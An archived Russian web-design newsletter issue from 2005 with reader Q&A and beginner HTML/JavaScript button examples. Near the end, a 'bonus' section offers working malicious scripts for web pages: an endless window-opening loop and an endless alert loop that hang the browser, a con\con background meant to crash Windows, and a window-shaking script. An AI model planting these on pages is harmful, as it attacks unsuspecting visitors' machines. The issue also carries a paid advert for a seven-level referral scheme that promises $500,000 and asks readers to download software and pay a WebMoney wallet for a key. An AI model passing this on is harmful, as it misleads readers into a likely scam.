Отправляет email-рассылки с помощью сервиса Sendsay

Учимся программировать на HTML

Рассылка закрыта

При закрытии подписчики были переданы в рассылку "Е-коммерция" на которую и рекомендуем вам подписаться.

Вы можете найти рассылки сходной тематики в Каталоге рассылок.

←   Сентябрь 2005   →
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Автор
Сергей

Статистика

2.157 подписчиков
-16 за неделю
←   Все выпуски   →

Учимся программировать на HTML Выпуск 31


Информационный Канал Subscribe.Ru
.:: Cоздание Web сайта / изучение языков програмирования ::.
Выпуск № 31Подписчиков:
.:От автора:.
Всем привет! :)
 

Вопросы: за неделю поступило несколько вопросов, на основные я ответил по почте

 
Андрей: Здравствуйте!
Сделаю пару замечаний по поводу приведенных примеров
в Выпуске 30 Вашей рассылки "Учимся программировать на HTML":

Кнопка-ссылка
-------------
Это можно сделать без всяких скриптов (к тому же Ваша рассылка называется
"Учимся программировать на HTML", а не на JavaScript):

<FORM action="http://narod.ru/">
<input TYPE="submit" VALUE=" LENIN INC ">
</FORM>

Кроме того в теге <FORM> можно использовать атрибут TARGET
точно в таком же смысле как и в теге <A>.

Сообщение в окне
----------------
В этом случае обрамляющие теги <FORM>, </FORM> можно убрать,
но, если уж использовать их, то можно сделать так:

<FORM action="javascript: alert('Введите здесь текст своего сообщения');">
<input TYPE="submit" VALUE=" Сообщение ">
</FORM>
Сомневаюсь, что сообщил что-то новое, но хотелось высказаться.
 
Ответ: Вы высказались, теперь я пожалуй скажу. По поводу JavaScript: если вы не заметили, то в основном примеры которые я пишу в своей рассылке написаны на HTML, а скрипты я использую в основном по просьбам читателей, когда они просят например скрипт индикации курса валют, или еще что нить полезное я это ищу и публикую, так как эта рассылка для Вас. Почему мало освещается вопросов по HTML? Могу ответить на этот вопрос, все связано с малой активностью Вашей, понимаю летом, все в отпусках на пляжах и т.д., надеюсь с окончанием осени вопросов будет побольше, тогда и тем будем больше рассматривать и рассылка будет интереснее.
 
Снова повторяю вопрос Blackcat-mur: Как сделать, чтобы фоновая картинка изменяла свой размер при изменении размера браузера? А так же другие элементы.
Ответ:  Предложенный мой вариант не подошел, вот ответ:
Увы! Это не то. Это заточено под разрешение 800х600. Другая, которая заточена под 1024х768, также имеет текст и в ней добавлено несколько кадров. Поэтому здесь не может быть речи о масштабировании
(растягивании или сжатии) и о наложении слоя с текстом сверху, так как картинка должна быть статичной. Так что здесь идет речь о выборе и загрузке разных картинок, заточенных под разное разрешение.
От Админа: просьба ко всем читателям, если кто знает как и чем помочь, присылайте Ваши ответы.
 
 
 
Теперь можно будет задать вопрос и в On Line, посредством Аськи. Нахождение меня в онлайне индицируется на моем сайте под формой подписки.
 
С уважением!
                            TWA
 
 
---
Рассылка выходит при поддержке сайта www.twa.nm.ru, там же находятся выпуски рассылки которые можно посмотреть и прочитать, так же на сайте имеются готовые шаблоны и скрипты.
---

Если есть вопросы, пишите сюда

Скрипты и HTML примеры:

 

Изменение фонового цвета страницы

С помощью такой кнопки пользователь сможет изменить фоновый цвет страницы.

<FORM>
<input TYPE="button" VALUE=" Изменить цвет " onClick="BgButton()">
<script>
function BgButton(){
if (document.bgColor=='#adff2f')
{document.bgColor='#ffffff';}
else{document.bgColor='#adff2f';}
}
</script>
</FORM>

Нажав кнопку, цвет фона измениться на салатовый - adff2f, повторное нажатие вернет белый фоновый цвет - #ffffff и т.д. Измените шестнадцатиричное значения цвета #adff2f на нужное Вам (в двух местах) и обязательно наберите его в нижмнем регистре.


Открытие нового окна

Вы можете кнопкой открывать новые окна, которые могут содержать только определенные Вами элементы управления.

<FORM>
<input TYPE="button" VALUE=" Открыть окно " ONCLICK="NewWindow()">
<script>
function NewWindow()
{
window.open("URL","","Parameter");
}
</script>
</FORM>

URL - URL откpываемого pесypса. Может быть ссылкой на любой понимаемый Обозревателем докyмент (в том числе и на локальной машине).

Parameter - паpаметpы нового окна (в виде текстовой стpоки). Записываются без пробелов чеpез запятyю:

Toolbar=[yes|no|1|0] - Присутствие Панели инструментов
Location=[yes|no|1|0] - Присутствие адреса
Directories=[yes|no|1|0] - Присутствие ссылок
Status=[yes|no|1|0] - Присутствие статустной строки
Menubar=[yes|no|1|0] - Присутствие меню
Scrollbars=[yes|no|1|0] - Присутсвие прокрутки
Resizable=[yes|no|1|0] - Изменение размера окна мышью
Width=[pазмеp в пикселях] - Высота окна
Height=[pазмеp в пикселях] - Ширина окна

Можно использовать значения присутсвия элемента - yes или 1, отсутствие элемента - no или 0. В следующем примере выводится окно размерами 600Х400 пикселей с присутствием всех элементов управления:

<FORM>
<input TYPE="button" VALUE=" Открыть новое окно " ONCLICK="NewWindow()">
<script>
function NewWindow()
{
window.open("URL","","Toolbar=1,Location=1,Directories=1,Status=1, Menubar=1,Scrollbars=1,Resizable=1,Width=600,Height=400");
}
</script>
</FORM>


Просмотр в виде HTML

При нажатии на такую кнопку открывается текущий документ в Блокноте пользователя.

<FORM>
<INPUT TYPE="button" NAME="view" VALUE=" Просмотр в виде HTML " OnClick="window.location="view-source:" +window.location.href">
</FORM>


Печать страницы

С помощью такой кнопки пользователь может вызвать окно Печать с параметрами настройки печати и произвести распечатку текущей страницы на принтере.

<FORM>
<INPUT NAME="print" TYPE="button" VALUE=" Печать страницы " ONCLICK="varitext()">
<SCRIPT LANGUAGE="JavaScript">
<!-- Begin
function varitext(text){
text=document
print(text)
}
// End -->
</SCRIPT>
</FORM>


Украшательства

С помощью следующей конструкции Вы можете поместить в кнопку любое изображение. Для примера я взял кнопку Добавить в избранное и встроил в нее изображение Favorite.gif.

<FORM>
<BUTTON TYPE="SUBMIT" onClick="window.external.addFavorite('http://lenininc.narod.ru/', 'LENIN INC'); return false;">
<IMG SRC="Favorite.gif" WIDTH=16 HEIGHT=16 ALIGN="ABSMIDDLE" BORDER=0"> Добавить в Избранное </BUTTON>
</FORM>

Вместо Favorite.gif введите имя своего графического файла, укажите его размеры и окантовку (элементы WIDTH, HEIGHT, BORDER соответственно).

<FORM>
<BUTTON TYPE="SUBMIT" onClick="window.external.addFavorite('http://123.narod.ru/', 'LENIN INC'); return false;">
<IMG SRC="Favorite.gif" WIDTH=16 HEIGHT=16 ALIGN="ABSMIDDLE" BORDER=0"><SPAN style="""font-size: 8pt"> Добавить в Избранное </SPAN></BUTTON>
</FORM>

Размер шрифта устанавливатся изменением значения атрибута font-size: Измените его, например, на 12pt (pt - проценты).

Добавив еще два элемента в код кнопки можно добиться ее подсвечивания при подведении курсора мыши:

<FORM>
<BUTTON TYPE="SUBMIT" onClick="window.external.addFavorite('http://123.narod.ru/', 'LENIN INC'); return false;" onMouseOver="style.color='blue'" onMouseOut="style.color='black'">
<IMG SRC="Favorite.gif" WIDTH=16 HEIGHT=16 ALIGN="ABSMIDDLE" BORDER=0"><SPAN style="""font-size: 8pt"> Добавить в Избранное </SPAN></BUTTON>
</FORM>

Синтаксис:
onMouseOver="style.color='blue'" - цвет текста, когда курсор мыши подводится к кнопке.
onMouseOut="style.color='black'" - цвет текста, когда курсор мыши покидает кнопку.


В качестве бонуса несколько вредоносных вариантов:

    Script открывает одновременно огромное колличество окон на машине пользователя, что приводит к зависанию Обозревателя. Имя HTML документа, в котором Вы разместите данный скрипт, и имя, выделеное красным (DieScript.htm), должны совпадать.

    <script>
    now();
    function now() {for (i=1;i>0;i++){open('DieScript.htm','new'+i);}}
    </script>

     

    Scripts вешает текущее окно Обозревателя и выводит сообщение ERROR !. После этого пользователь может продолжать работать, но это окно ему будет недоступно.

    <script>
    { while ( true ) window.alert('ERROR !'); }
    </script>

     

    Scripts вызывает неустранимую ошибку. Это баг операционной системы Windows. После этого пользователю прийдеться перезагрузить машину для возобновления нормальной работы системы.

    <body background=con\con>

     

    Scripts трясет окно Обозревателя. Чтобы избавится от враждебности этого скрипта нужно переключится на другое окно Обозревателя, а затем вернутся назад.

    <!-- Добавьте первую строку в тег body -->
    <body onloaD="MM_callJS('shake();')">

    <script language="JavaScript1.2">
    <!--
    <!-- Begin
    function shake() {
    n=100;
    for (i = 10; i > 0; i--) {
    for (j = n; j > 0; j--) {
    self.moveBy(0,i);
    self.moveBy(i,0);
    self.moveBy(0,-i);
    self.moveBy(-i,0);
    }
    }
    }
    // End -->
    function MM_callJS(jsStr) { file://v2.0
    return eval(jsStr)
    }
    // I own jo0 -->
    </script>

     

Вы так же можете прислать свой пример: сюда

На этом разрешите откланяться. продолжим на следующей неделе.

На правах рекламы:

Добро пожаловать в проект SEVEN

500 000 $ - результат доступный всем!

Лучшая партнерская программа

Заработок от рефералов:
1 уровень - 100%
2 уровень  - 100%
3 уровень   - 100%
4 уровень    - 100%
5 уровень     - 100%
6 уровень      - 100%
7 уровень       - 100%

 7 уровней рефералов - 
Вы получаете 100% прибыли за каждого реферала

Желаете узнать больше?
Только не закрывайте страницу или добавьте ее в избранное, чтобы не потерять

Минимум для выплаты не существует - 
все платежи идут к Вам в кошелек

Начинайте зарабатывать 
прямо сейчас!

 


Добавьте страницу в Избранное, чтобы заказать ключ уже сегодня

 

Чтобы начать работать в проекте вы можете прямо сейчас загрузить программу абсолютно бесплатно

 СКАЧАТЬ
 
 Без ключа активации программа работает в демонстрационном режиме

После установки программы закажите ключ активации всего за 7 центов.
Номер кошелька для оплаты:

 Z116395477485

В примечании оплаты напишите SEVEN
 Ключ высылается в WM Keeper после оплаты

Оплата производится через систему электронных платежей WebMoney


Интернет дает Вам все, чтобы построить свой собственный бизнес - 
не упускайте эту возможность!

Новые темы для голосования можно посмотреть тут http://twa.hut1.ru/art/index_x.php

Новое голосование: http://twa.hut1.ru/art/index_gol.php?idg=40

Результаты голосований на этой неделе: Можете предложить свою тему для голосования тут >>> тема голосования

Новые темы для голосования можно посмотреть тут http://twa.hut1.ru/art/index_x.php

 
 

вопросы и пожелания присылайте сюда, а интересные примеры сюда

 
При копировании материалов, ссылка на сайт обязательна.
Copyright http://www.twa.nm.ru/ 2004-2005 г. TWA ™         Россия. 		E-mail: Admin
ICQ: 232767006
Subscribe.Ru
Поддержка подписчиков
Другие рассылки этой тематики
Другие рассылки этого автора 		Подписан адрес:
Код этой рассылки: inet.webbuild.724990 		Отписаться
Вспомнить пароль
В избранное